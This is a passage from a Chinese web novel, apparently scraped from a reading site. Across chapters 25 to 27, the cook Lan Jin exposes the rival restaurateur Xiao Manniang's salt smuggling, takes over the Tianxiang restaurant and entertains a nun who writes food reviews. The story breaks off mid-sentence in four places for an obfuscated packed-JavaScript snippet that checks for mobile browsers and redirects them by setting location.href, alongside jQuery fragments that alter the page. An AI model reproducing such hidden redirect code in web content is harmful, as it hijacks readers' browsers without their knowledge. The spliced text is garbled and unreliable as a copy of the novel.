因此，蓝记员工和蓝记食客们聚在一起碰了头。今日书院休沐，除了常来的那几个熟客，还有略显生疏的沈苏琰一行。 最重要的事——自然还是吃饭。 蓝锦热情地把刚炖好的红烧牛尾骨和酱香大棒骨端上了桌。 牛尾骨炖足了时辰，牛肉紧致完整，一个个堆着。汤汁浓稠，麻辣的香料味直冲天灵盖。 夹起一块来，牛肉恨不得顺着筷子滑到人的手腕上，只剩下一根三角骨头。 牛肉汤汁充斥着浓郁的肉香，舀上一勺浇在米饭上，吃进嘴里，是无上的享受。 而牛尾骨也是吸满了汤汁，往嘴里一放嘬上一口，能最大限度地体会这道菜的美妙滋味。 小秋和霍旭云抢个不停，彷佛两人都刚满六岁。尤其是小秋，啃骨头啃得脸颊上几滴红褐色的肉汁。 几人吃得津津有味，连竹子精萧仁禹也放下筷子，拿起一块牛尾骨，精细地从里啃到外，连腔子里的骨髓都敲出来吸一吸。 蓝锦看得眼睛直了，萧仁禹无法忽视这道目光，抬头问她：“有什么问题吗？” 蓝锦木然地摇头：“没有，没有……有这么好吃吗？” 饭桌上几颗埋头苦吃的圆脑袋一齐抬起来：“非常，非常好吃！” 就连那些裹了肉汁子的萝卜都好吃！炖得又烂，吃起来清甜，还吸饱了牛肉的荤香。 云江望一口一个，全然不顾那滚刀块萝卜切得有多大块，力求不叫一丁点汁水从舌尖跑掉。 酱香大棒骨又是另一种滋味。上面的骨头渣子被洗得干净，啃起来省心极了。 贴骨肉连着筋络，肥瘦相间，皆浓浓地入了味。不止颜色变成了赤红的诱人模样，味道也足够咸鲜。 棒骨肉比牛尾骨还要多。若说牛尾骨吃一种满口油香的牛肉脂肪感，那么大棒骨就是吃那一口咬下去，瘦肉扎实的纯肉满足感。 更不用说那肌间脂肪分布得刚好，加上炖煮的时间不长不短，吃起来一点也不塞牙，只是软烂可口。 霍旭云是牛尾汤泡饭派，云江望是酱骨汤泡馒头派，只有蓝锦把两盆里的汤各舀一勺，皆倒入面前的饭碗里。 小秋左看看，右看看，决定还是学自家姐姐的吃法。毕竟，论吃，还是蓝记老板是行家嘛！ 沈苏琰一开始还有些放不开，一错眼，蓝锦再瞧她，已是下手稳准狠地捉住为数不多的牛尾骨，虔诚地啃掉每一丝肉。 坊间流传的小道消息没错，就说蓝记有魔力吧。 这么多人的饭量都比不得悟雅，她和大家一样吃了全程，每个人都拍拍肚皮之后，她从容地把剩下所有都连汤带肉倒进自家碗里，狼吞虎咽地全都消灭了。 所以，蓝记从来不会担心剩饭这一问题！ 距离落霞村不远的娘娘庙外，一辆华丽气派的马车停了下来。 走下来一个穿金戴银的女子，口脂是鲜血一样的艳红。 萧曼娘慢条斯理地一挽耳边的头发，熟门熟路地去了几位师太的厢房。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090792|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此时，昭应城外的栖凤山内，吃饱喝足的蓝锦一行人出现在了私盐矿附近。不知从哪寻来的一只大狗，在不停地嗅。 天香楼附近，有个白袍男子悄悄潜入了酒楼后厨的仓库。 拿着一根小杵用力一捣堆在角落里的盐袋，扑簌簌的盐粒子涌了出来。 和洁白细小的官盐截然不同，正是那种夹杂黑屑的大粒私盐，不同于市面上的任一种，更像手工熬煮的。 而悟雅则是出现在了天香楼的角门，和楼里的伙计攀谈起来。 萧曼娘慢悠悠地乘着马车打道回府的时候，正经过蓝记饮食店的门前。 不知是中午吃的饭菜味道太过霸道，现下还没散去，还是里头在熬煮着晚餐用的东西。 蓝记饮食店内顺着窗户飘散出一股无法忽视的肉香味，其调味之精巧，不是萧曼娘吃过的任何一种菜色。 萧曼娘嗤了一声：“现在还有心思吃饭呢。” 她不紧不慢地抚摸自己手指上的红宝石戒指：“断头饭吧，吃的肯定又是什么上不得台面的豕肉下水。” 一旁的汪厨子小声喃喃：“我们天香楼的腌笃鲜里也有豕肉。” 萧曼娘显然不太清楚，恼羞成怒地白了他一眼。同时拼命告诉自己的鼻子：不，不好闻。 等到了天香楼，萧曼娘讶然地发现，蓝记那帮人在自家附近徘徊。尤其为首的蓝锦，浑身破破烂烂，灰头土脸。 蓝锦一行刚从山里回来，正饥肠辘辘地往家赶。 狭路相逢，萧曼娘不刺两句心里难受：“哟，这不是盘古开天以来独一份的蓝记老板嘛？我以为活不下去，来我家要饭的呢。” 蓝锦平静地答道：“是的，我们太穷了，没有见过世面。实在是穷得响叮当，不比天香楼富贵。” 身后的霍旭云也深得明翊山长的真传，紧跟上道：“就是说啊，我们小门小户眼皮子浅，村里出来的，不敢肖想有钱人的排场。萧老板吃剩的菜，我们都得在佛祖面前供起来！” 悟雅语气真挚地说道：“还是天香楼富贵，大气，多亏萧老板活菩萨心肠，让我们泥腿子也能沾沾光。” 萧曼娘一口气被噎在嗓子眼，怒目横竖：“姓蓝的，你们又在搞什么名堂？别得意，三天，只剩下三天！你迟早滚出昭应城。” 蓝锦心里满不在乎，那就看谁笑到最后吧。 嘴上却说：“真的谢谢您。我们知道萧老板最真挚不过，还掰着手指头替我数日子，把我蓝锦放在心尖尖上。” 云江望悄悄地以手遮嘴，用看起来很小声，实际上人人都能听见的声音，在蓝锦耳边说道： “蓝姐姐，萧老板对你这么掏心掏肺，不能是悄悄地看上你了吧？” 萧曼娘气得七窍生烟，眼前一黑，嘴皮子抖得话都说不出。 不等她颤抖着手叫人拿下这些无耻狂徒，蓝锦一行脚底抹油，一溜烟跑了。 不到第二日，昭应城内再次捕风捉影地在传一种很新的消息—— 蓝记饮食店的老板，穷得走投无路，要去偷天香楼萧家最值钱的宝贝！ 25. 香酥炸鸡排 蓝锦戴着雪白的便帽，在自家小店——虽然是贴了封条的——门口，愉快地支着油锅炸鸡排。 金黄的油锅中，围着焦黄的肉块起了一圈圈大泡，热闹喧腾。 过往的路人无一不被她家的香味吸引，驻足探头探脑，有人问她： “小娘子，你这炸肉排卖吗？” 蓝锦笑容满面地回答：“当然不能卖，我现下正被天香楼和县衙联手封了店，要被讹上二百两银子，不然就得滚出昭应城啦！哈哈！” 来人唯唯诺诺地劝道：“何苦惹那一位，从前多少好吃的食店，都给挤没啦……” 正说着，背后风风火火地闯进来几个壮汉：“哎哎，快去瞧瞧啊。萧家啊，被抄家啦！” 好心的询价客疑道：“哪一个萧家？” 有个汉子边跑边扭头解释：“还能有哪个！都城有人的那个，天香楼的那个！” 蓝锦只把手往白色帕子上一抹，并不惊讶，满脸“终于来了”的笑意。 她不紧不慢地收了摊子，把红灿灿、焦焦脆的炸鸡以油纸往怀里一塞，闲庭信步地往天香楼瞧热闹了。 这里如往常一样人来人往，不同的是，这一回，摩肩接踵的看客，把跌坐在地上的萧掌柜团团围住了。 有个威严的大人立在萧曼娘的对面，身着靛蓝官服，系黑色宽腰带，其上挂官印并长剑，脚踩黑色皂靴。 眼神锐利，声线沉稳威赫： “昭应萧氏，借天香楼经营之便，伙同县令，掳掠人口，贩制私盐，致近百无辜乡民罹难。” “现将主犯收监，相关人等听候审问，所谋赃款，即刻充公。” 萧曼娘发髻散乱，环佩委地，怀里还紧抱着天香楼的匾额，不叫旁人拖走。 人群的议论声更加肆无忌惮： “早说她是心狠手辣的恶妇，做买卖嚣张跋扈，私下里还这么蛇蝎肚肠。” “贪心不足，鱼肉乡里，这下遭了报应吧。总夸嘴说上面有人，你看有人理她嘛。” “人家这位大人才是正经从都城下来巡查的，她攀的哪门子穷亲戚呢。” 人声鼎沸之际，终于从后间一前一后跑出来两个男子。 年轻的看上去是个非常疼女儿的爹，年老的看上去是个非常疼孙女的老太爷。 二人面孔皱似苦瓜，当即扑通一声跪下了： “钦差大老爷明鉴，不孝女不懂事，瞒下家中，做下这么大的罪孽。” “她只是做事不想后果，才一手捅出这么大的篓子啊。求大人开恩，给她一个活命赎罪的机会吧！” 萧曼娘木着一张脸，机械地转过头去看那习惯了颐指气使的老太爷，牙齿咬得咯吱咯吱响。 满口哀戚，实是把所有罪责都推到她一人头上！还枉图暗示以她一命抵罪。 “你胡说，若不是你骗我，五年，只要我五年间把资产翻了三倍，我……” “不孝女罪孽深重，萧家愿捐出一半家财，孝敬大人！”萧父快速地打断她的话。 “好啊，好啊，你们……”萧曼娘彻底发癫，当场把萧家藏宝处，私吞了多少土地，甚至萧父的外室所居，一件一件往外抖落。 萧家父子俩不顾什么体面好看，什么纲常礼仪，和萧曼娘当场撕扯起来。 萧曼娘被一耳光狠狠掼倒在地。 恍惚抬头之际，她看到了站在街对过的石阶子上，有闲站着，啃食着什么的年轻女娘。 那是蓝锦一行，个个潇洒地吃着比脸大的炸鸡排。 咔嚓咔嚓，咔嚓咔嚓—— 萧曼娘目光恨恨。从前没有她的时候，自己一直是顺风顺水的。 蓝锦却依旧满不在乎的样子，从容地用小碎米牙啃着焦酥的鸡排。 裹了薄薄一层面衣，调味是中式咸辣口。 炸得彻底，外皮成了红褐色，边缘有那种红得发黑的小嘎巴。 外酥里嫩，经过多种香料腌渍，鸡肉咸鲜肥嫩，吃得人红光满面。 若是放在后世，就是校门口那馋哭小孩的“正宗老北京炸鸡”。 她方啃完了一个，又从怀里取出一包炸鸡柳，有条不紊地一条接一条往没涂半点口脂的樱桃小嘴里送。 咸香爆汁，咔嚓咔嚓，咔嚓咔嚓——香啊。 萧曼娘顶着一张因为养尊处优惯了、瞬间高高肿起红掌印的面孔，骤然发作，搡开人群扑到蓝锦的面前： “是你，一定是你！你好狠毒的心肠啊，要不是你，我萧曼娘会有今天吗？” 蓝锦拍了拍手上的碎屑，指尖的炸面糊渣子随着重力，委落在萧曼娘绣了金线、镶了翠羽，却褶皱得不成体统的衣裙间。 蓝锦取出水蓝色的双鸭帕子，擦净手中的油渍。 蓝锦俯下身去，贴近萧曼娘的面颊，口中呼出的炸鸡香气喷到了萧曼娘的耳侧： “萧大掌柜，欺辱别人的时候，可曾想到会有今天呢？” 萧曼娘的瞳孔还是麻木的，过了几瞬，陡然爆发出一阵大笑，叫官差冲过来架着拉走了。 巡查使已经清点完了酒楼这边的账本资产，见萧氏父子还在絮絮以半数家财孝敬的话，便只冷冷道： “全部查抄，全部带走。” 蓝锦再次见到萧曼娘，是在县衙的大牢里。 卢县令早被摘了乌纱帽，县衙如今被紧急巡查团临时征用。 萧曼娘粗布麻衣，眼珠子仿似一夜浑浊，语气生硬得像一条直线。 她别扭却卑微地，卑微却别扭地，向拆了一身首饰、才辗转求来见自己的蓝锦开口道： “蓝……我把天香楼给你，换我一条性命。” 蓝锦目光闪了闪，没有接话。 萧曼娘头低得更低了：“求你，蓝老板。” 蓝锦笑了：“萧掌柜说话好生奇怪，萧家产业全数充公，是非结局自有律法来判，做什么讲些这样的话。” 萧曼娘挣扎了一下，说道：“我知道你与天都萧家有亲。我没骗你，天香楼，我没落在萧家名下。” 蓝锦心中惊讶，谁有亲，我吗？ 面上却不愿叫人看出端倪，依旧做出一副了然于胸的样子。 萧曼娘无法，只絮絮地说了自己与萧老太爷的斗法，手中私藏的账本证据。 她不能成了人家断臂求生的那个臂！ 蓝锦把萧曼娘给的凭据折起，塞进袖中，没说应，也没说不应。 良久，方开口道：“放心，你会得到你应得的报应的。” 萧曼娘倒是深松了一口气。 蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090793|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦坐在萧氏天香楼——现在是蓝氏的了——大堂喝茶的时候，还在思考一个问题。 我怎么就和天都萧氏有亲了？ 难道说，“我”颈间这个足金镂花的长命锁，竟然是出身神秘的天都萧家吗？ 却不知是父亲那边的关系，还是母亲那边的关系…… 或许我竟然和那个小人鱼，是同辈的兄弟姐妹吗？ 噢，也许不是一支，谁知道萧曼娘讲的天都萧家，到底有多少支。 看她自己也拎不清的样子，她攀上的大腿，说不定还硬不过吏部小吏小人鱼家的那支呐。 此后蓝锦再看萧仁禹，总有那么一点眯着眼睛，瞧他跟自己长得到底像不像的感觉。 被盯得心里发毛，又诡异地想或许这是好兆头的萧仁禹，默默低头饮茶。 终于有一天，脸盲蓝锦自以为观察到了眉眼口鼻或许有那么一丝丝相似。 她自信地询问萧仁禹： “你生辰是什么时候？” 萧仁禹：心中狂喜，什么，她问我什么？ 这是要越过纳采，直接问名——虽然反了，但蓝小娘子自有她的道理——是不是就该快进到亲迎了。 蓝锦却是心下计算，原来他只比现在的我大一点点，都没超过一岁呐。 比起曾经的我，那可是小多啦！ 于是，蓝锦后来常以大姐姐的气势，亲切地“嘭”地一拍便宜兄弟的肩背： “你小子，吃我那么多菜，不见长肉啊。” 萧仁禹只想：噢，噢，好的。我要努把力，争取再多吃点，吃一辈子。 当然，这是后话了。 悟雅帮着收拾天香楼查封后的残尘。 好在巡查团清廉正直，行事干净规整。除了带走重要证据，当日并未损坏分毫。 悟雅喜不自胜，一边摸着紫檀木桌椅，口水都要流下来： “哎呀哎呀，这得多少钱啊。” 又去擦墙角的黄花梨翘头案： “哎呀哎呀，这以后都归我们了呀。” 再扒着缂丝屏风不放手： “哎呀哎呀，这下你可姓了蓝啦！” 蓝锦叫她吵得头大，却也是乐滋滋的，丝毫不见烦意。 汪粤汪厨子蹑手蹑脚地从厨房旁的厢房走过来，不好意思地笑着开口： “蓝楼板，要木要我居碗面给你食啊？” 蓝锦蹭地一下直起身子，对哦，我现在手里还有一群厨子的身契！ 哈哈哈哈，解放双手啊！复刻研发新品安排起来！ 她满意地笑着窝回去：“麻烦你，我想食鸳鸯冻奶同云吞面呐。” 汪粤嘿嘿陪笑：“哩个什么鸳鸯奶，我都木会做；不过哩个云吞面，我都好擅藏嘅。” 蓝锦已经在欢乐地畅想粤菜的一百零八种吃法了，闻言只呵呵一笑：“好哇，好哇。” 今日提前下学的小秋，一脸迷茫地叫洛修远姐姐送到天香楼——噢，是新的蓝记饮食店。 蓝锦一拍脑袋，太过高兴。竟然成忘崽姐姐了，罪过，罪过。 她忙上前拉住小秋的手，照例从头到脚检看一遍。 洛修远从后面冒出头：“蓝姐姐，这是怎么一回事？天香楼，怎么突然变成蓝记啦？” 26. 蓝记大酒楼 这件事还要从几天前说起。 蓝锦清清嗓子：“只能说若做亏心事，便有鬼敲门。” “她欺辱我蓝记饮食店不要紧，那她上头，就没有能管住她的人了吗？她就没有怕的了吗？” 要捏住天香楼的七寸，作为没权，又没钱——即将被县令抄家——的县城饭馆小老板，蓝锦并没有想硬碰硬。 虽然她的阵营还有个出身天都萧家的同盟，但人家说了，只是小小旁支嘛！ 充其量就是在吏部抄抄文书的斤两。 蓝锦呷了一口茶，清清嗓子，看了洛修远期待的小脸，狡黠一笑：“所以我啊，先请人写了话本子。” 她是不会，沈苏琰会啊！ 就是那个假装川流书院的学子，拎着条五花肉，蹑手蹑脚来蓝记吃荔枝肉的女娘。 看着洛修远一脸果然如此的表情，蓝锦道：“说起来还要谢谢洛小娘子之前的消息，沈小娘子确是文笔很好，想象力也丰润。” 在那份大雅大俗的小报上——蓝锦现在知道，这也是明翊扶持创办的——有过不少相当受欢迎的作品。 这也是明山长极力盛邀沈苏琰去川流书院就读的缘故，她和沈苏琰一早就知根知底了嘛。 蓝锦没有直接去沈家拜访，而是去了川流书院。 现下沈苏琰已经入学，贸贸然托她动笔，总也要知会山长一下。何况，翊姐姐本人还是小报主编。 沈苏琰：“这个简单，我这就给你写十个。” 当下挥笔写就十个短章。 其中一个隐晦地打了哑谜，写了昭应周边五仙山的秘密藏宝之所。其中一处，离私盐矿的所在不远。 还有一个，指桑骂槐地写了一个司膳星君，爱涂红口脂，和英招城土地爷有着XX的秘密交易。 她经常自称自己上面有人，为了炼出长生不老药敲诈世人，捉人去山里刨地种石头。 这种石头苦咸苦咸的，还使人血做肥料，他们俩还吃得口角流涎，狞笑满面呢。 尽管正义感十足的沈苏琰一再表示自己不怕什么萧家，蓝锦还是坚持向她出具了订购代笔的单子。 她想，年长者虽不该倚老卖老，却有不让新一代暴露在危险中的责任。 尽管蓝锦都忘了，她自己也还是一个年轻小娘子。 洛修远恍然大悟：“怪道说，近来天色黑沉还在街上贪玩的孩子，都会被家中大人恫吓：小心司膳星君抓你去山里种石头！原来都是蓝小娘子的缘故。” 小秋现下已由大字班转到了正经读书的班级，蓝锦给她补交了多多的束脩。读书多了，明显懂得更多： “我们书院的大人都说，这是萧家和县令的恶疮要被挑破了！” 她把小脑袋一转：“是我姐姐挑破的！” 蓝锦笑得愈发开怀，端出两杯蜂蜜橙皮茶招待辛苦读书的两小只： “这事情也不止是我一个人的功劳。悟雅暗中找萧掌柜的伙计攀谈，带回了买盐伙计的行踪。” “也多亏轻功绝佳的萧大公子重操旧业，去天香楼偷了家，果然发现了夹杂黑屑的粗盐。” 旁人便罢了，萧掌柜家大业大的，怎么会稀得买私盐。 当然，并没有偷天香楼最值钱的宝贝。对这条传言，双方都没有继续配合演出。 听见此传言的萧曼娘一直无动于衷：“以为我是那种听见摔杯为号，就急慌慌地跑去看宝贝，自己把东西拱手相让的蠢人吗？” 蓝锦和洛修远一道，拈起桌上的蟹壳黄来吃，酥渣子撒了满手。 “实际上啊，萧大公子是去把县衙的私盐矿账本给偷了！” 洛修远果然被吸引了注意：“哦？这却是怎么找到的，那狗官竟然这样不防，说偷来就偷来了？” 蓝锦高深莫测地摇头：“非也，非也，还是靠我蓝锦的金鼻子——” 蓝锦倒没有夸大，她是厨子嘛，还是那种猫舌狗鼻，极有天赋的厨子。 当时萧曼娘把她哄到自家门口，阵仗颇大地羞辱一番，是蓝锦与她的第一次见面。 除了嫣红口脂给她留下了深刻印象，她还敏锐地记住了萧掌柜身上的熏香。 自家从铺子买来几味香料一配，复刻了出来，给小人鱼一闻，叫他随身带着出发了。 或是对账时沾染了，县令家里有一处地方也有这个味道。 “归根结底还是萧曼娘和那狗官作恶多端，我听说，乱葬坑里还拉出个活人呐！”洛修远并非一无所知。 蓝锦应是：“我带了些人往山里打探，民夫太多，一时救不出来。刚巧救下一个濒死的人，也多亏他出具了许多证词。” 几下证据一合并，叫脚程极快的小人鱼，飞身送往天都了——他的小吏爸爸手里。 “有黑账，有人命官司，有证词，当夜就送到了都城要员的手里。” 谁曾想上面的反应这样迅速，立刻就派了巡查团。 难道当下的朝堂还是挺贤良的不成？ 倒是萧曼娘私藏天香楼，拱手相让，出乎蓝锦的意料。 这厢说完了前由，蓝锦趁机向洛修远询问起了她家的酒。 “现下我手中多了本钱，正想找李娘子谈生意的事。萧曼娘原先的酒水我不打算继续合作。” “你家的酒这样醇香，我天天在隔壁闻着，已经馋了许久啦！” 洛修远微微一笑：“这还多谢蓝大老板提携，苟富贵，没相忘！” 蓝锦只作生气状：“若是那样，只叫我黑心烂肺，什么店都开不下去。” 洛修远直拦她的嘴，又把她那杯没动的蜂蜜橙皮茶抢过来喝。酸酸甜甜，很适口。 这大酒楼就像当头一个馅饼，但没把蓝锦砸晕。她不做那穷人乍富、不走人步的做派，仍旧坚持她的市井种田之路。 蓝锦叫蓝记大酒楼的厨子们一字排开，挨个摸清了他们擅长的东西。又叫来所有伙计，了解了原先的流程和存货。 当下重新安排了分工，点了货。 等到蓝记大酒楼正式更名，挂牌营业的时候，全酒楼的员工都穿着一样的白色短打，站在门外列成两排。 白晃晃的叫人迷了眼，还在那齐声喊着“欢迎光~临”。 酒楼的菜牌全都换了，连那道招牌腌笃鲜也叫蓝锦重新设计了规程，力求口味更加精致。生怕有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096023|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说东家换人了就不来了。 这可叫她猜错了。新老客听闻东家改成了蓝记的老板，当下如蝗虫过境一般涌了过来。 蓝锦忙得陀螺一样，萧仁禹倒在旁边帮忙招呼客人，宛若自己家一般。 客人好奇地打量，张口问道：“蓝掌柜，这花签令牌又是什么？” 蓝锦眉眼弯弯：“蓝记大酒楼每道菜品都附赠一枚花签，客人收好，积满五枚，就能解锁隐藏菜单。” 客人笑得见牙不见眼：“这个却稀奇，我可要攒着试试。” 蓝锦继续：“若积满十枚，还送您一道菜品。都写在上面，童叟无欺。这叫回头客，座上宾。您常来呀~” 一桌客人满口应承，个个去抢菜盘旁附着的花签子。 有客人围着一个怪模怪样的紫檀木箱子，摸着胡子念上面的小字。 “匿名评赏，每日限量菜色若有差评，三次以上，次日撤牌。” 一旁搁了澄心纸和毛笔、炭笔，只消写上菜品所属序号，扔进檀木箱子上方的小洞里。 有三两客人喟叹：“可见店家用心，这样在乎食客的感受。” 酒楼门口旁支起了一个小窗，卖的正是熟食点心。家常买回去了，放锅里一热，甚至冷着吃，都是极好的。 肉食有酱牛肉、烤羊肉串、炸小黄鱼儿、炸小河虾、手撕鸡。 还有白案师傅专门做的芝麻火烧、黑猪肉包子、香辣豆腐包子、梅干菜包子。 噢，还有一种大家都没见过的食物，红油凉皮。 这是专门浇铸了模具，好几个师傅一起动手，把那面团洗了沥，沥了洗，搓洗沉淀，制了面筋。 剩下的淀粉水一层层上锅，蒸成弹嫩爽滑，纤薄透明的凉皮。 切成条的凉皮拌上绿油油的黄瓜丝，稠香的芝麻酱，香而不辣的辣椒油，勾人口水的香醋，蓝锦亲自掌勺定味。 还经过多次试验，把各种配料的配比定下数据。保证不管是谁来做，都是这个质量口味。 厨师、学徒每人只负责一个流程，连那切面筋方块的，都有专人。如是成了一个成熟的流水线，大大提高了出菜率。 有客来问：“蓝老板，你家大柳树边的蓝记饮食店还开不开了呀？” 蓝锦朗声回应：“开！小店升级，只做私人定制。食材高端，菜色新奇。从此改叫‘蓝记私厨’！” “漫说是佛跳墙，蟹黄炒粉皮，就是您想吃儿时记忆中的葱油饼，我蓝锦都能帮您实现。” 老饕们双目放光，一阵欢呼。有机灵的即刻开腔：“蓝老板，这蓝记私厨有没有回头客、座上宾的花签子呀？” 蓝锦答道：“曾经蓝记饮食店的老客，全都是我家初始会员。蓝记大酒楼的花签子，和私厨通用！” 宾主说得正欢，一个伙计拿着一张青竹压纹的拜帖递了过来。 “邈晴庵主人拜会。” 蓝锦讶然极了，这尊大佛销声匿迹了许久，怎么倒突然找上门来了？还给自己递帖子。 围在旁边的客人听见了，也迫不及待地和蓝锦一起绕过屏风，到门外一看—— 意外又不意外，果然是她！ 27. 火焰醉烧鹅 外面竟淅淅沥沥地下起雨来，一个披着蓑衣的女子收了油纸伞，走进蓝记大酒楼。 “蓝小娘子，借你家避一避雨。” 女子慈眉善目，鹤骨松姿，周身散发出一股仙风道骨的气韵。却面色红润，像是供奉佛前的俗家蜜桃。 蓝锦一眼就认出她了，热情地把人请到窗景最好的厢房景观位。 “妙清娘子，这一向少见，你怎么来啦？” 妙清抿一口蓝锦奉上的蜜柑罗汉果茶，如饮清露，嗓子清润得讲话似莺啭。 “蓝小娘子，我是来看仇家的下场的呀。” 蓝锦摸不着头脑：“我这里正经开着酒楼，哪里会有什么师太的仇家？” 妙清狡黠一笑：“正是仇家不在了，所以才叫下场。” 说罢，凑到蓝锦的耳侧，低声说了一番。 蓝锦讶然，妙清师太的出家，竟与萧曼娘有关。 “那时我师傅得罪了宫里的人，堂堂御厨流落到小县城里做帮厨。” “他也是心善。冬日里，他去倒泔水，见着墙角一个衣不蔽体的小乞丐，伸了手，把我救活了。” 蓝锦心疼地问：“万幸，万幸！后来如何了？” “我跟着师傅，在后厨做了个打杂的学徒”，妙清“哼”了一声，“托萧扒皮的福，不知吃了多少客人的剩饭。” 蓝锦瞪大了眼：“她从前做了这种事情，还请你去写她家的好话？” “贵人多忘事呢，她不记得我”，妙清答道，“可是，我却记得她是怎么害我师傅的。” 这位前御厨本身是遭遇了无妄之灾，无端被卷入了皇室派系争端。背后之人为了斩草除根，多年以后还是摸到了小县城。 萧曼娘不知和什么人达成了什么协议，当下就决定把自家这位招牌大厨送回狼窝。 妙清早被师傅送去了乡下，往深山里一扔，叫她躲着人，不要说出和自己的关系。 妙清心头微酸：“他本是想等事情了了，和我一起逃命的。谁想到这一去，就再也没露面。” 蓝锦沉默半晌：“所以，是妙华师太救了你？” 妙清摇摇头：“不，是我的第二位师傅，空净师太。她把我救回娘娘庙，给我水米，收为弟子。只是不久就圆寂了，所以你没见过她。” 蓝锦叫这沉重的事实打得，说不出话来了。 妙清却笑起来：“都过去了，没什么可怜的，佛祖还是保佑了我。” 蓝锦有心调笑，故意做出夸张的讶异与恍然：“呀，怪不得妙华师太不拦着你开荤戒。” 妙清故意做出一点生气的样子：“可不是，我很该补上一补。她还为着全庵人的口粮，期期艾艾地拿眼看着我，盼我给萧扒皮写什么劳什子美食鉴赏呐。” “要不是萧扒皮捐的功德实在多，要不是她不知道这些前尘往事，我早就不敬着她啦！” 蓝锦给妙清端上一碟胭脂鸡：“很是，很是。现在可好啦，再不会有人迫你写不爱的东西了。师太先香香嘴，我今晨亲自做的。” 妙清看到珍馐，情绪已然转晴：“色即是空，空即是色……我再多来几盘肉才好哇。” 蓝锦笑道：“今日来了几只足斤足两的大笨鹅，师太待会瞧好了，给你做一道火焰醉烧鹅。” 刚巧汪厨子往隔壁厢房上菜，蓝锦拦下了他，从托盘上拿了一杯珍珠牛乳茶。 “妙清师太，这是我研制的新品，试了很多次的！你尝尝，看值不值得邈晴庵主人的笔墨。” 妙清也不客气，一把拿在手里，捏着粗粗的空心芦苇杆子一吸，吃到了焦糖味的乌黑小圆子。 “妙啊，妙啊”，妙清开心地一拍大腿，“小娘子你都不知道，前段时间那萧扒皮又去找我。” “叫我写文章踩小娘子家的玛瑙肉和冰糖蹄髈，我才不想干。她送庵里的钱财又实在多，比我往年所有的润笔费都多！” “我和师姐商量了，只能装病不出山。可把我憋坏了，蓝记出了好多新花样，个个听起来就美味。我可是忍得好辛苦！” 蓝锦笑眯眯地奉上一盘荔枝肉。 这是福建那边的吃法，一颗颗形似荔枝的空心红肉丸，伴着圆滚滚的白嫩荸荠，酸甜气味令人食指大动。 “师太从此可要常来我这蓝记，当自家食堂才好。这间厢房就单给师太留着，不接待旁人。” 随后，又端来一整只冰糖炖蹄髈，几近脱骨的酱色蹄髈像一座小山一样，堆在瓷白大碗里。津亮的肉皮颤巍巍抖个不停。 “这些时日错过的，都给师太补上。再不用遣玄停改头换面地悄悄替你买了。” 妙清偷偷地向蓝锦挤一挤眼睛，满脸“叫你发现啦”。 蓝锦继续笑盈盈道：“我这蓝记之所以声名远播，都和师太的妙笔脱不开关系。邈晴庵主人，实在该当我家的大股东。” 妙清挥一挥手，直说：“不用，不用，方外之人，不要那些。你就继续给我做好吃的才好！” 又想起来什么似的，拍手道：“再大大地宣扬一下蓝记无尽藏和蓝记大酒楼的关系。” “这下娘娘庙还要借你这的光。保管有更多的人家，为了抢这蓝记大酒楼出品的花糕，上赶着来庵里送功德。” 蓝锦应下，解了围裙，在妙清的旁边坐下。执起筷子，和她一道吃了起来。 “其实师太的美食品评，搜罗成集，也能编一本煌煌巨著呀。” 蓝锦夹了一筷子鱼酱炒通菜，提议道。 “这我倒是没想过，只是想着明翊夫人给的润笔丰厚，我又爱吃，这才一直写罢了。” “我正好在帮明夫人编一本《梵香斋馔录》，她出了钱雇我的。” 妙清明显来了兴趣：“饮食也能入书？” “正是，明夫人搜集了好些资料，我近来且试且写，已经编完一小节寺院素斋。之后还要写节庆佛供、药膳、茶点这些。” 妙清感叹：“清雅，高妙！明翊夫人果然不同凡俗。” 蓝锦趁热打铁：“师太以后常来我这蓝记大酒楼！我把一成干股分给师太，也雇你写一本《蓝记饮食》，好不好？” 妙清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099964|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显动了心，她把一块胭脂鸡从右拨到左，从左拨到右。 蓝锦不动声色地看着孩子气师太玩食物，又追上一剂： 